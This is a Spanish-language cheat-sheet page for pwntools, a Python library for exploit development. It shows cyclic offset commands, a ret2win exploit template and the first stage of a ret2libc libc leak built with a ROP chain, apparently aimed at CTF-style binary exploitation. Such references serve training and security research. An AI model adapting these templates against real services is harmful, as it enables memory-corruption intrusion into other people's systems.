pwntools

pwntools te ahorra el trabajo pesado de un exploit: calcula el offset con cyclic, lee símbolos y la GOT del ELF, monta cadenas ROP y habla igual con un proceso local que con el servicio remoto.

Plataforma
Linux (Python)
Web oficial
github.com/Gallopsled/pwntools
Instalación
pip3 install pwntools

Chuleta de pwntools

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
4 comandos

Offset

Patrón de 200 bytes
cyclic 200
Offset a partir del valor que acaba en RIP/EIP
cyclic -l 0x6161616c

Plantillas

Ret2win
from pwn import *
elf = context.binary = ELF('./binario')
p = process(elf.path)  # remote('10.10.11.20', 1337)
offset = 72
p.sendline(flat({offset: elf.sym['win']}))
p.interactive()
Filtrar libc con puts (ret2libc, primera fase)
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call(elf.sym['main'])
p.sendline(flat({offset: rop.chain()}))
fuga = u64(p.recvline().strip().ljust(8, b'\x00'))

Guías que usan pwntools